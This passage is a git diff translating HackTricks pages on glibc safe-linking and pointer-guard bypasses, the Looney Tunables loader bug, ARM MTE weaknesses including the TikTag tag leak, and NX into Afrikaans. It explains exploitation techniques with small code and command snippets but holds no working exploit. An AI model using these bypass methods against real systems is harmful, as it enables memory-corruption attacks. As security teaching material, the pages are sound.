+2. **Verhoogde Moeilikheid van Tcache Bin/Fastbin Attacks**: Algemene attacks wat function pointers (soos `__malloc_hook`) overwrite deur fastbin- of tcache-entries te manipuleer, word belemmer. Byvoorbeeld, 'n attack kan behels dat 'n LibC-adres geleak word, 'n chunk in die tcache bin gefree word, en dan die Fd pointer overwrite word om dit na `__malloc_hook` te redirect vir arbitrary code execution. Met pointer mangling moet hierdie pointers korrek gemangle word, **wat 'n heap leak vir akkurate manipulation noodsaak**, en sodoende die exploitation barrier verhoog.
+3. **Vereiste vir Heap Leaks in Nie-Heap-Locations**: Die skep van 'n fake chunk in nie-heap-areas (soos die stack, .bss-section, of PLT/GOT) **vereis nou ook 'n heap leak** weens die behoefte aan pointer mangling. Dit verhoog die kompleksiteit van exploitation van hierdie areas, soortgelyk aan die vereiste om LibC-adresse te manipuleer.
+4. **Om Heap-Adrese te Leak Word Moeiliker**: Pointer mangling beperk die bruikbaarheid van Fd pointers in fastbin- en tcache-bins as bronne vir heap-address leaks. Pointers in unsorted, small, en large bins bly egter unmangled en is dus steeds bruikbaar om adresse te leak. Hierdie verskuiwing dwing aanvallers om hierdie bins vir exploitable information te ondersoek, hoewel sommige tegnieke steeds demangling van pointers voor 'n leak kan toelaat, maar met beperkings.
-Pointer mangling aims to **prevent partial and full pointer overwrites in heap** management, a significant enhancement in security. This feature impacts exploit techniques in several ways:
+### **Safe-Linking Bypass (page-aligned leak scenario)**
-1. **Prevention of Bye Byte Relative Overwrites**: Previously, attackers could change part of a pointer to **redirect heap chunks to different locations without knowing exact addresses**, a technique evident in the leakless **House of Roman** exploit. With pointer mangling, such relative overwrites **without a heap leak now require brute forcing**, drastically reducing their likelihood of success.
-2. **Increased Difficulty of Tcache Bin/Fastbin Attacks**: Common attacks that overwrite function pointers (like `__malloc_hook`) by manipulating fastbin or tcache entries are hindered. For example, an attack might involve leaking a LibC address, freeing a chunk into the tcache bin, and then overwriting the Fd pointer to redirect it to `__malloc_hook` for arbitrary code execution. With pointer mangling, these pointers must be correctly mangled, **necessitating a heap leak for accurate manipulation**, thereby elevating the exploitation barrier.
-3. **Requirement for Heap Leaks in Non-Heap Locations**: Creating a fake chunk in non-heap areas (like the stack, .bss section, or PLT/GOT) now also **requires a heap leak** due to the need for pointer mangling. This extends the complexity of exploiting these areas, similar to the requirement for manipulating LibC addresses.
-4. **Leaking Heap Addresses Becomes More Challenging**: Pointer mangling restricts the usefulness of Fd pointers in fastbin and tcache bins as sources for heap address leaks. However, pointers in unsorted, small, and large bins remain unmangled, thus still usable for leaking addresses. This shift pushes attackers to explore these bins for exploitable information, though some techniques may still allow for demangling pointers before a leak, albeit with constraints.
+Met Safe-Linking enabled kan 'n geleakte encoded pointer direk decoded word wanneer die presiese adres van die field wat dit stoor, bekend is:[[2]](#references)[[4]](#references)
+```c
+// leaked_fd is the mangled Fd read from the chunk on the same page
+uintptr_t l = (uintptr_t)&chunk->fd; // storage location
+uintptr_t original = (leaked_fd ^ (l >> 12)); // demangle
+```
+Dit herstel die `fd`-waarde en kan klassieke tcache/fastbin poisoning aktiveer. Die lae 12-bis-bladsysverskuiwing is **nie** wat met brute force verkry moet word nie—the encoding shifts it away. Wanneer die storage-adres onbekend is, benodig exploitation eerder genoeg inligting om sy bladsynommer te herstel, ’n iteratiewe demangling-metode gebaseer op heap-layout-verhoudings, of brute force oor die oorblywende onbekende ASLR-bisse.[[1]](#references)[[2]](#references)
-### **Demangling Pointers with a Heap Leak**
+### **Demangling Pointers met ’n Heap Leak**
> [!CAUTION]
-> For a better explanation of the process [**check the original post from here**](https://maxwelldulin.com/BlogPost?post=5445977088).
+> Vir ’n beter verduideliking van die proses [**kyk na die oorspronklike post hier**](https://maxwelldulin.com/BlogPost?post=5445977088).[[1]](#references)
-### Algorithm Overview
+### Algoritme-oorsig
-The formula used for mangling and demangling pointers is:
+Die formule wat vir mangling en demangling van pointers gebruik word, is:
**`New_Ptr = (L >> 12) XOR P`**
-Where **L** is the storage location and **P** is the Fd pointer. When **L** is shifted right by 12 bits, it exposes the most significant bits of **P**, due to the nature of **XOR**, which outputs 0 when bits are XORed with themselves.
+Waar **L** die storage-ligging is en **P** die Fd-pointer is. Wanneer **L** met 12 bisse na regs geskuif word, stel dit die mees betekenisvolle bisse van **P** bloot, weens die aard van **XOR**, wat 0 lewer wanneer bisse met hulself ge-XOR word.
-**Key Steps in the Algorithm:**
+**Sleutelstappe in die algoritme:**
-1. **Initial Leak of the Most Significant Bits**: By XORing the shifted **L** with **P**, you effectively get the top 12 bits of **P** because the shifted portion of **L** will be zero, leaving **P's** corresponding bits unchanged.
-2. **Recovery of Pointer Bits**: Since XOR is reversible, knowing the result and one of the operands allows you to compute the other operand. This property is used to deduce the entire set of bits for **P** by successively XORing known sets of bits with parts of the mangled pointer.
-3. **Iterative Demangling**: The process is repeated, each time using the newly discovered bits of **P** from the previous step to decode the next segment of the mangled pointer, until all bits are recovered.
-4. **Handling Deterministic Bits**: The final 12 bits of **L** are lost due to the shift, but they are deterministic and can be reconstructed post-process.
+1. **Aanvanklike leak van die mees betekenisvolle bisse**: Deur die geskuifde **L** met **P** te XOR, kry jy effektief die boonste 12 bisse van **P**, omdat die geskuifde gedeelte van **L** nul sal wees, wat **P** se ooreenstemmende bisse onveranderd laat.
+2. **Herstel van pointer-bisse**: Omdat XOR omkeerbaar is, laat die kennis van die resultaat en een van die operandes jou toe om die ander operand te bereken. Hierdie eienskap word gebruik om die volledige stel bisse vir **P** af te lei deur bekende stelle bisse opeenvolgend met gedeeltes van die gemangelde pointer te XOR.
+3. **Iteratiewe demangling**: Die proses word herhaal, en elke keer word die nuut ontdekte bisse van **P** uit die vorige stap gebruik om die volgende segment van die gemangelde pointer te dekodeer, totdat alle bisse herstel is.
+4. **Hantering van deterministiese bisse**: Die laaste 12 bisse van **L** gaan weens die shift verlore, maar hulle is deterministies en kan ná verwerking gerekonstrueer word.
-You can find an implementation of this algorithm here: [https://github.com/mdulin2/mangle](https://github.com/mdulin2/mangle)
+Jy kan ’n implementering van hierdie algoritme hier vind: [https://github.com/mdulin2/mangle](https://github.com/mdulin2/mangle)
## Pointer Guard
-Pointer guard is an exploit mitigation technique used in glibc to protect stored function pointers, particularly those registered by library calls such as `atexit()`. This protection involves scrambling the pointers by XORing them with a secret stored in the thread data (`fs:0x30`) and applying a bitwise rotation. This mechanism aims to prevent attackers from hijacking control flow by overwriting function pointers.
+Pointer Guard is ’n glibc-mitigation vir geselekteerde gestoor-de code pointers, insluitend pointers wat deur `atexit()`-handlers gebruik word. Op x86-64 glibc XOR die `PTR_MANGLE`-operasie ’n pointer met die thread-local guard, wat gewoonlik by `fs:0x30` geadresseer word, en roteer dit dan 17 bisse na links. Ander architectures en implementasies kan ’n ander operasie of guard-ligging gebruik.[[5]](#references)
-### **Bypassing Pointer Guard with a leak**
+### **Om Pointer Guard met ’n leak te omseil**
-1. **Understanding Pointer Guard Operations:** The scrambling (mangling) of pointers is done using the `PTR_MANGLE` macro which XORs the pointer with a 64-bit secret and then performs a left rotation of 0x11 bits. The reverse operation for recovering the original pointer is handled by `PTR_DEMANGLE`.
-2. **Attack Strategy:** The attack is based on a known-plaintext approach, where the attacker needs to know both the original and the mangled versions of a pointer to deduce the secret used for mangling.
-3. **Exploiting Known Plaintexts:**
- - **Identifying Fixed Function Pointers:** By examining glibc source code or initialized function pointer tables (like `__libc_pthread_functions`), an attacker can find predictable function pointers.
- - **Computing the Secret:** Using a known function pointer such as `__pthread_attr_destroy` and its mangled version from the function pointer table, the secret can be calculated by reverse rotating (right rotation) the mangled pointer and then XORing it with the address of the function.
-4. **Alternative Plaintexts:** The attacker can also experiment with mangling pointers with known values like 0 or -1 to see if these produce identifiable patterns in memory, potentially revealing the secret when these patterns are found in memory dumps.
-5. **Practical Application:** After computing the secret, an attacker can manipulate pointers in a controlled manner, essentially bypassing the Pointer Guard protection in a multithreaded application with knowledge of the libc base address and an ability to read arbitrary memory locations.
+1. **Verstaan van Pointer Guard-operasies:** Die scrambling (mangling) van pointers word gedoen met die `PTR_MANGLE`-makro, wat die pointer met ’n 64-bis-geheim XOR en dan ’n linksrotasie van 0x11 bisse uitvoer. Die omgekeerde operasie vir die herstel van die oorspronklike pointer word deur `PTR_DEMANGLE` hanteer.
+2. **Attack-strategie:** Die attack is gebaseer op ’n known-plaintext-benadering, waar die attacker beide die oorspronklike en die gemangelde weergawes van ’n pointer moet ken om die geheim wat vir mangling gebruik word, af te lei.
+3. **Exploitation van bekende plaintexts:**
+- **Identifisering van vaste function pointers:** Deur glibc-source code of geïnisialiseerde function-pointer-tabelle (soos `__libc_pthread_functions`) te ondersoek, kan ’n attacker voorspelbare function pointers vind.
+- **Berekening van die geheim:** Deur ’n bekende function pointer soos `__pthread_attr_destroy` en sy gemangelde weergawe uit die function-pointer-tabel te gebruik, kan die geheim bereken word deur die gemangelde pointer omgekeerd te roteer (regsrotasie) en dit dan met die adres van die function te XOR.
+4. **Alternatiewe plaintexts:** Die attacker kan ook eksperimenteer met mangling van pointers met bekende waardes soos 0 of -1 om te kyk of dit identifiseerbare patrone in memory oplewer, wat moontlik die geheim kan openbaar wanneer hierdie patrone in memory dumps gevind word.
+5. **Praktiese toepassing:** Nadat die geheim bereken is, kan ’n attacker pointers op ’n beheerde manier manipuleer en sodoende die Pointer Guard-beskerming in ’n multithreaded toepassing omseil met kennis van die libc base address en die vermoë om arbitrêre memory-liggings te lees.
-## References
+## GLIBC Tunables & Onlangse Loader Bugs
+
+Die dynamic loader parse `GLIBC_TUNABLES` voordat programstartup plaasvind. Mis-parsing-bugs hier raak **libc** direk voordat die meeste mitigations aktiveer. Die 2023-"Looney Tunables"-bug (CVE-2023-4911) is ’n voorbeeld: ’n oormatige lang `GLIBC_TUNABLES`-waarde overflow interne buffers in `ld.so`, wat **privilege escalation** op baie distros moontlik maak wanneer dit met SUID-binaries gekombineer word. Exploitation vereis slegs dat die environment saamgestel en die target binary herhaaldelik uitgevoer word; pointer guard of safe-linking voorkom dit nie, omdat corruption in die loader plaasvind voordat heap setup gebeur.[[3]](#references)
-- [https://maxwelldulin.com/BlogPost?post=5445977088](https://maxwelldulin.com/BlogPost?post=5445977088)
-- [https://blog.infosectcbr.com.au/2020/04/bypassing-pointer-guard-in-linuxs-glibc.html?m=1](https://blog.infosectcbr.com.au/2020/04/bypassing-pointer-guard-in-linuxs-glibc.html?m=1)
+## References
+- [1] [Analise van Malloc-beskermings op Singly Linked Lists](https://maxwelldulin.com/BlogPost?post=5445977088)
+- [2] [shellphish/how2heap - decrypt_safe_linking.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/decrypt_safe_linking.c)
+- [3] [Looney Tunables (CVE-2023-4911)-skrywe](https://www.wiz.io/vulnerability-database/cve/cve-2023-4911)
+- [4] [glibc `malloc.c` - Safe-Linking en alignment checks](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c)
+- [5] [glibc x86-64 pointer-guard-makros](https://sourceware.org/git/?p=glibc.git;a=blob;f=sysdeps/unix/sysv/linux/x86_64/pointer_guard.h)
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/memory-tagging-extension-mte.md b/src/binary-exploitation/common-binary-protections-and-bypasses/memory-tagging-extension-mte.md
index 43980bbca4c..7cf16bb89ec 100644
--- a/src/binary-exploitation/common-binary-protections-and-bypasses/memory-tagging-extension-mte.md
+++ b/src/binary-exploitation/common-binary-protections-and-bypasses/memory-tagging-extension-mte.md
@@ -2,83 +2,150 @@
{{#include ../../banners/hacktricks-training.md}}
-## Basic Information
+## Basiese Inligting
-**Memory Tagging Extension (MTE)** is designed to enhance software reliability and security by **detecting and preventing memory-related errors**, such as buffer overflows and use-after-free vulnerabilities. MTE, as part of the **ARM** architecture, provides a mechanism to attach a **small tag to each memory allocation** and a **corresponding tag to each pointer** referencing that memory. This approach allows for the detection of illegal memory accesses at runtime, significantly reducing the risk of exploiting such vulnerabilities for executing arbitrary code.
+**Memory Tagging Extension (MTE)** is ontwerp om sagtewarebetroubaarheid en -sekuriteit te verbeter deur **geheueveiligheidsoortredings op te spoor**, soos sommige buffer overflows en use-after-free-toegange. MTE, as deel van die **Arm AArch64**-argitektuur, heg ’n **klein allocation tag aan elke gemerkte geheuegranule** en ’n **logiese tag aan pointers** wat daarna verwys. ’n Mismatch kan ’n fault veroorsaak, afhangend van die gekonfigureerde checking mode; MTE is dus ’n probabilistiese opsporings- en mitigasiemeganisme, nie ’n waarborg dat elke memory error voorkom word nie.[[1]](#references)
-### **How Memory Tagging Extension Works**
+### **Hoe Memory Tagging Extension Werk**
-MTE operates by **dividing memory into small, fixed-size blocks, with each block assigned a tag,** typically a few bits in size.
+MTE werk op **16-byte allocation granules**, waarvan elkeen ’n 4-bit allocation tag kan hê.[[1]](#references)
-When a pointer is created to point to that memory, it gets the same tag. This tag is stored in the **unused bits of a memory pointer**, effectively linking the pointer to its corresponding memory block.
+Wanneer ’n pointer geskep word om na daardie geheue te wys, kry dit dieselfde tag. Hierdie tag word in die **ongebruikte bits van ’n memory pointer** gestoor, wat die pointer effektief aan sy ooreenstemmende memory block koppel.
https://www.youtube.com/watch?v=UwMt0e_dC_Q
-When a program accesses memory through a pointer, the MTE hardware checks that the **pointer's tag matches the memory block's tag**. If the tags **do not match**, it indicates an **illegal memory access.**
+Wanneer ’n program toegang tot gemerkte geheue verkry deur ’n pointer, kontroleer die MTE-hardeware of die **pointer se logiese tag met die allocation tag ooreenstem**. ’n Mismatch word volgens die aktiewe synchronous, asynchronous of asymmetric fault mode gerapporteer.[[1]](#references)
### MTE Pointer Tags
-Tags inside a pointer are stored in 4 bits inside the top byte:
+Pointer tags gebruik vier bits in die boonste byte van ’n AArch64-adres:[[1]](#references)
https://www.youtube.com/watch?v=UwMt0e_dC_Q
-Therefore, this allows up to **16 different tag values**.
+Dit maak dus tot **16 verskillende tag-waardes** moontlik.
### MTE Memory Tags
-Every **16B of physical memory** have a corresponding **memory tag**.
+Elke gemerkte **16-byte allocation granule** het ’n ooreenstemmende allocation tag.
-The memory tags are stored in a **dedicated RAM region** (not accessible for normal usage). Having 4bits tags for every 16B memory tags up to 3% of RAM.
+Allocation tags word in implementation-defined tag storage gehou waartoe normale loads en stores nie toegang het nie. Vier tag-bits per 16 data-bytes verteenwoordig ’n rou stoorratio van **3.125%**, hoewel die fisiese implementering en effektiewe overhead platformspesifiek is.[[1]](#references)
-ARM introduces the following instructions to manipulate these tags in the dedicated RAM memory:
-
-```
+ARM stel die volgende instruksies bekend om hierdie tags in die toegewyde RAM-geheue te manipuleer:
+```asm
STG [], # Store Allocation (memory) Tag
-LDG , [] Load Allocatoin (memory) Tag
+LDG , [] Load Allocation (memory) Tag
IRG , Insert Random [pointer] Tag
+ADDG , , #, #
+SUBG , , #, #
...
```
-
-## Checking Modes
+## Kontrolemodusse
### Sync
-The CPU check the tags **during the instruction executing**, if there is a mismatch, it raises an exception.\
-This is the slowest and most secure.
+Die CPU kontroleer die tags **tydens instruksie-uitvoering**. Indien daar ’n wanpassing is, genereer dit ’n uitsondering (`SIGSEGV` with `SEGV_MTESERR`) en jy weet onmiddellik wat die presiese instruksie en adres is.\
+Dit is die stadigste en veiligste modus, omdat die aanstootlike load/store geblokkeer word voordat die effekte daarvan argitektonies sigbaar word.[[1]](#references)
### Async
-The CPU check the tags **asynchronously**, and when a mismatch is found it sets an exception bit in one of the system registers. It's **faster** than the previous one but it's **unable to point out** the exact instruction that cause the mismatch and it doesn't raise the exception immediately, giving some time to the attacker to complete his attack.
+Die CPU kontroleer die tags **asinkroon**. Wanneer ’n wanpassing gevind word, stel dit toestand in ’n foutstatusregister, en die proses word gewoonlik by die **volgende kernel-entry** beëindig (`SIGSEGV` with `SEGV_MTEAERR`). Dit is **vinniger** as SYNC, maar dit is **nie in staat om** die presiese instruksie wat die wanpassing veroorsaak het, uit te wys nie, en sommige aanvaller-sigbare effekte het moontlik reeds plaasgevind voordat die sein afgelewer word.[[1]](#references)
+
+### Asymmetric / per-core upgrades
+
+Onlangse Arm/Android-deployments gebruik ook **ASYMM** (sinchroniese reads, asinkrone writes) en **per-core preferred modes**. Byvoorbeeld, die skryf van `sync`, `async` of `asymm` na `/sys/devices/system/cpu/cpu*/mte_tcf_preferred` kan ’n proses wat slegs ASYNC versoek het, stilweg upgrade wanneer dit op ’n strenger core land.[[1]](#references)
+
+Dit is belangrik tydens exploitation omdat die **manifest / `prctl()`-versoek nie altyd die effektiewe modus is** waarmee jy uiteindelik aanval nie.
-### Mixed
+## Vinnige Recon / Enable-kontroles
-???
+Vanuit ’n exploit-dev-perspektief is die eerste vraag gewoonlik nie "ondersteun die CPU MTE?" nie, maar **"loop hierdie spesifieke proses werklik met tagged mappings en enforced checks?"**
+
+### Linux / Android-vinnige kontroles
+```bash
+grep -i mte /proc/cpuinfo
+readelf -n ./target | grep -E 'AARCH64_FEATURE_1_(BTI|PAC)'
+rg -n 'memtagMode|PR_SET_TAGGED_ADDR_CTRL|PROT_MTE' .
+```
+In code of tydens reversing, kyk vir hierdie aanduiders:[[1]](#references)
+
+- **`HWCAP2_MTE`** wat aan userspace geadverteer word
+- **`PROT_MTE`** wat in `mmap()` / `mprotect()` gebruik word
+- **`prctl(PR_SET_TAGGED_ADDR_CTRL, ...)`** met `PR_MTE_TCF_SYNC` / `PR_MTE_TCF_ASYNC`
+- Android-manifeste wat **`android:memtagMode="sync|async"`** versoek (en let daarop dat `readelf` nuttig is vir **BTI/PAC**, maar nie as ’n generiese detector om te bepaal of MTE vir ’n proses geaktiveer is nie)
+
+’n Minimale userspace-mapping lyk soos:
+```c
+void *p = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_MTE,
+MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
+prctl(PR_SET_TAGGED_ADDR_CTRL,
+PR_TAGGED_ADDR_ENABLE | PR_MTE_TCF_SYNC,
+0, 0, 0);
+```
+Op Android is stack tagging nie outomaties vir arbitrêre native code nie: indien ’n lab of target met **`-fsanitize=memtag`** en ’n **`-fsanitize-memtag-mode=sync`** link mode saamgestel is, kan stack bugs wat normaalweg onsigbaar vir heap-only MTE sou bly, nou betroubaar ’n fault veroorsaak. Vir ’n konkrete exploitation-scenario waar MTE die overflow-stadium voor shellcode/ROP kan breek, kyk na [the ARM64 stack shellcode notes](../stack-overflow/stack-shellcode/stack-shellcode-arm64.md).
## Implementation & Detection Examples
-Called Hardware Tag-Based KASAN, MTE-based KASAN or in-kernel MTE.\
-The kernel allocators (like `kmalloc`) will **call this module** which will prepare the tag to use (randomly) attach it to the kernel space allocated and to the returned pointer.
+Linux noem sy MTE-gesteunde kernel memory-safety detector **Hardware Tag-Based KASAN**. Ondersteunde kernel allocators soos `kmalloc` ken ’n allocation tag aan die memory toe en gee ’n pointer terug wat die ooreenstemmende logical tag dra.[[5]](#references)
-Note that it'll **only mark enough memory granules** (16B each) for the requested size. So if the requested size was 35 and a slab of 60B was given, it'll mark the first 16\*3 = 48B with this tag and the **rest** will be **marked** with a so-called **invalid tag (0xE)**.
+Dit **tag slegs genoeg 16-byte granules** om die aangevraagde object te dek. Byvoorbeeld, ’n 35-byte object beslaan drie granules (`16*3 = 48` bytes); allocator metadata of padding ná die object kan ’n ander poison/freed tag gebruik, volgens die allocator en KASAN-implementering.[[5]](#references)
-The tag **0xF** is the **match all pointer**. A memory with this pointer allows **any tag to be used** to access its memory (no mismatches). This could prevent MET from detecting an attack if this tags is being used in the attacked memory.
+’n Baie belangrike nuanse is dat **kernel en userspace nie presies dieselfde gedrag blootstel nie**:
-Therefore there are only **14 value**s that can be used to generate tags as 0xE and 0xF are reserved, giving a probability of **reusing tags** to 1/17 -> around **7%**.
+- In **Hardware Tag-Based KASAN** is die volledige pointer-tag byte `0xFF` ’n match-all tag en `0xFE` is gereserveer vir freed memory. Hul lae nibbles is `0xF` en `0xE`, maar dit is KASAN-konvensies eerder as universele MTE-semantiek.[[5]](#references)
+- In **normal userspace Linux MTE** is daar **geen algemene match-all logical tag** waarop jy vanuit ’n unprivileged process kan staatmaak nie.
-If the kernel access to the **invalid tag granule**, the **mismatch** will be **detected**. If it access another memory location, if the **memory has a different tag** (or the invalid tag) the mismatch will be **detected.** If the attacker is lucky and the memory is using the same tag, it won't be detected. Chances are around 7%
+Gevolglik is die probability van ’n blind tag collision **`1/N`**, waar `N` die aantal tags is wat die allocator werklik kies. Dit is slegs `1/14` (ongeveer 7.1%) vir ’n policy wat uniform onder 14 usable values kies; toegelate userspace-tags en allocator-policies kan verskil.[[1]](#references)[[5]](#references)
-Another bug occurs in the **last granule** of the allocated memory. If the application requested 35B, it was given the granule from 32 to 48. Therefore, the **bytes from 36 til 47 are using the same tag** but they weren't requested. If the attacker access **these extra bytes, this isn't detected**.
+As die kernel toegang tot die **invalid-tag granule** verkry, sal die **mismatch** bespeur word. As dit toegang tot ’n ander memory location verkry en die **memory ’n ander tag** (of die invalid tag) het, sal die mismatch ook bespeur word. As die attacker gelukkig is en die memory dieselfde tag gebruik, sal dit nie bespeur word nie.
-When **`kfree()`** is executed, the memory is retagged with the invalid memory tag, so in a **use-after-free**, when the memory is accessed again, the **mismatch is detected**.
+Nog ’n blind spot kom in die **last granule** van die geallokeerde memory voor. As die application 35B aangevra het, is die granule van 32 tot 48 aan dit gegee. Daarom **gebruik die bytes van 36 tot 47 dieselfde tag**, maar hulle is nie aangevra nie. As die attacker **toegang tot hierdie ekstra bytes verkry, word dit nie bespeur nie**. Dit is een van die belangrikste praktiese MTE-beperkings: **intra-granule overflows is onsigbaar** tensy ’n ander software-meganisme ekstra checking byvoeg.
-However, in a use-after-free, if the same **chunk is reallocated again with the SAME tag** as previously, an attacker will be able to use this access and this won't be detected (around 7% chance).
+Wanneer **`kfree()`** uitgevoer word, word die memory gewoonlik hergetag, dus sal die **mismatch bespeur word** wanneer die memory in ’n **use-after-free** weer verkry word.
-Moreover, only **`slab` and `page_alloc`** uses tagged memory but in the future this will also be used in `vmalloc`, `stack` and `globals` (at the moment of the video these can still be abused).
+In ’n use-after-free kan ’n attacker egter aanhou om die stale pointer te gebruik as dieselfde **chunk weer met dieselfde tag** as voorheen geallokeer word; dit sal dan nie bespeur word nie (probabilistic bypass).
-When a **mismatch is detected** the kernel will **panic** to prevent further exploitation and retries of the exploit (MTE doesn't have false positives).
+Boonop word slegs **`slab` en `page_alloc`** breedweg in huidige Linux-kernel deployments gedek; attackers moet steeds aandag gee aan **untagged paths** soos `vmalloc`, stacks, globals, DMA-backed buffers of mixed subsystems, afhangend van kernel version en configuration.
-## References
+Wanneer ’n **mismatch bespeur word**, kan die kernel **panic** of ten minste die huidige task kill, afhangend van die presiese mode/policy, om verdere exploitation en retries te voorkom.
+
+## Exploit-Relevant Debugging Primitives
+
+Linux stel verskeie interfaces bloot wat baie nuttig is vir defenders sowel as vir attackers wat plaaslike PoCs bou:[[1]](#references)
-- [https://www.youtube.com/watch?v=UwMt0e_dC_Q](https://www.youtube.com/watch?v=UwMt0e_dC_Q)
+- **`PTRACE_PEEKMTETAGS` / `PTRACE_POKEMTETAGS`** laat ’n tracer toe om allocation tags in ’n tracee te lees of te skryf.
+- ’n Thread kan checking vir sy eie accesses tydelik deaktiveer met **`PSTATE.TCO`**. Dit is nie op sigself ’n pre-exploitation bypass nie, maar dit is relevant sodra jy reeds controlled execution in die compromised thread het.
+- In Android app triage is `debuggerd | head -30 | grep tagged_addr` ’n vinnige manier om te sien watter MTE fault modes ’n process versoek het.
+
+Dit is nie "remote bypasses" nie, maar dit is uiters prakties wanneer jy **local privilege-escalation exploits, debugger-assisted PoCs of MTE-aware fuzzing harnesses** bou.
+
+## Practical Bypass Notes
+
+Project Zero se MTE testing/use-case analysis is steeds ’n goeie mental model:[[2]](#references)
+
+- **Known-tag bypasses**: indien jy die **tag kan leak**, verdwyn die probabilistic deel van MTE grootliks.
+- **Unknown-tag bypasses**: selfs sonder om die tag te leak, kan **implementation limits** exploit paths laat bestaan waar ’n invalid access steeds genoeg post-corruption leverage bied.
+- **ASYNC / ASYMM** is sagter targets as SYNC, omdat die exploit moontlik slegs hoef klaar te maak voor die volgende kernel entry, signal delivery of scheduler event.
+
+Dit is veral relevant vir browser-, IPC- en kernel-exploits waar die attacker kan probeer om die hele corruption chain binne een "quiet" execution window te hou.
+
+### Speculative Tag Leakage (TikTag)
+
+*TikTag* (2024) het twee speculative execution gadgets (**TIKTAG-v1/v2**) gedemonstreer wat die 4-bit allocation tag van arbitrêre addresses met **>95% success** in **minder as 4 sekondes** kan leak. Die kernidee is om speculatively ’n tag-checked access te trigger, ’n cache side channel te gebruik om te leer of die access gematch het, en oor candidate tags te iterateer totdat die korrekte tag recovered is.[[3]](#references)
+
+Daardie resultaat is belangrik omdat dit MTE van ’n **probabilistic mitigation** opgradeer na iets wat ’n attacker **systematies kan derandomize**:
+
+1. Leak die tag van die vulnerable object.
+2. Leak die tag van die target object.
+3. Reallocate / groom totdat hulle match.
+4. Trigger die UAF/OOB met die nou-korrekte tag.
+
+Die paper demonstreer dit teen **Google Chrome** en die **Linux kernel**.[[3]](#references) Navorsing soos **StickyTags** het ook onafhanklik waargeneem dat speculative probing van tag-check success/failure ’n werklike probleem is, wat verder bevestig dat **tag confidentiality** een van die hoofaannames agter MTE se offensive value is.[[4]](#references)
+
+## References
+- [1] [Memory Tagging Extension (MTE) in AArch64 Linux](https://docs.kernel.org/arch/arm64/memory-tagging-extension.html)
+- [2] [MTE As Implemented, Part 2: Mitigation Case Studies](https://projectzero.google/2023/08/mte-as-implemented-part-2-mitigation.html)
+- [3] [TikTag: Breaking ARM's Memory Tagging Extension with Speculative Execution](https://arxiv.org/abs/2406.08719)
+- [4] [Sticky Tags: Efficient and Deterministic Spatial Memory Error Mitigation using Persistent Memory Tags](https://www.vusec.net/projects/stickytags/)
+- [5] [Linux kernel documentation - Kernel Address Sanitizer (KASAN)](https://docs.kernel.org/dev-tools/kasan.html)
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/no-exec-nx.md b/src/binary-exploitation/common-binary-protections-and-bypasses/no-exec-nx.md
index 376dfe6c461..7e0ceaa44cc 100644
--- a/src/binary-exploitation/common-binary-protections-and-bypasses/no-exec-nx.md
+++ b/src/binary-exploitation/common-binary-protections-and-bypasses/no-exec-nx.md
@@ -2,15 +2,73 @@
{{#include ../../banners/hacktricks-training.md}}
-## Basic Information
+## Basiese Inligting
-The **No-Execute (NX)** bit, also known as **Execute Disable (XD)** in Intel terminology, is a hardware-based security feature designed to **mitigate** the effects of **buffer overflow** attacks. When implemented and enabled, it distinguishes between memory regions that are intended for **executable code** and those meant for **data**, such as the **stack** and **heap**. The core idea is to prevent an attacker from executing malicious code through buffer overflow vulnerabilities by putting the malicious code in the stack for example and directing the execution flow to it.
+Die **No-Execute (NX)**-bis, ook bekend as **Execute Disable (XD)** in Intel-terminologie, is ’n hardewaregebaseerde security feature wat ontwerp is om die uitwerking van **buffer overflow**-aanvalle te **versag**. Wanneer dit geïmplementeer en geaktiveer is, onderskei dit tussen geheuegebiede wat vir **executable code** bedoel is en dié wat vir **data** bedoel is, soos die **stack** en **heap**. Die kernidee is om te voorkom dat ’n aanvaller kwaadwillige code deur buffer overflow-kwesbaarhede uitvoer deur byvoorbeeld die kwaadwillige code in die stack te plaas en die execution flow daarheen te rig.
-## Bypasses
+Moderne operating systems dwing NX af met execute-permission-bisse in page-table entries. In ELF-lêers dui die `PT_GNU_STACK`-programheader vir die loader aan of die proses ’n executable stack benodig; `GNU_PROPERTY_X86_FEATURE_1_SHSTK` en `GNU_PROPERTY_X86_FEATURE_1_IBT` beskryf Intel CET-features en stel nie stack execute permission nie. Heap- en anonymous mappings het hul eie runtime permissions, onafhanklik van `PT_GNU_STACK`. ’n Poging om ’n page sonder execute permission uit te voer, veroorsaak ’n fault.[[1]](#references)
-- It's possible to use techniques such as [**ROP**](../rop-return-oriented-programing/) **to bypass** this protection by executing chunks of executable code already present in the binary.
- - [**Ret2libc**](../rop-return-oriented-programing/ret2lib/)
- - [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/)
- - **Ret2...**
+### NX vinnig opspoor
+- `checksec --file ./vuln` sal `NX enabled` of `NX disabled` vertoon gebaseer op die `GNU_STACK`-programheader.
+- Wanneer ’n test binary gebou word, versoek `-Wl,-z,noexecstack` ’n non-executable stack (`-z noexecstack` wanneer dit direk aan die linker deurgegee word); `-Wl,-z,execstack` versoek die teenoorgestelde. Verifieer altyd die resulterende `PT_GNU_STACK`-header eerder as om aan te neem dat die build flags deurgegee is.[[7]](#references)
+- `readelf -W -l ./vuln | grep GNU_STACK` wys die stack permissions; die teenwoordigheid van ’n `E`-flag dui aan dat die stack executable is. Voorbeeld:
+```bash
+$ readelf -W -l ./vuln | grep GNU_STACK
+GNU_STACK 0x000000 0x000000 0x000000 0x000000 0x000000 RW 0x10
+```
+- `execstack -q ./vuln` is handig wanneer die program geïnstalleer is (dit is tradisioneel deur die `prelink`-pakket verskaf): dit druk `X` vir 'n aangevraagde uitvoerbare stapel, `-` vir 'n nie-uitvoerbare stapel, en `?` wanneer die merking ontbreek.[[2]](#references)
+- Tydens looptyd wys `/proc//maps` of elke mapping `rwx`, `rw-`, `r-x`, ensovoorts is, wat nuttig is wanneer JIT-enjins of pasgemaakte allocators geverifieer word.[[3]](#references)
+
+## Omseilings
+
+### Code-reuse primitives
+
+Dit is moontlik om tegnieke soos [**ROP**](../rop-return-oriented-programing/index.html) **te gebruik om hierdie beskerming te omseil** deur stukke uitvoerbare code wat reeds in die binary teenwoordig is, uit te voer. Tipiese chains sluit in:
+
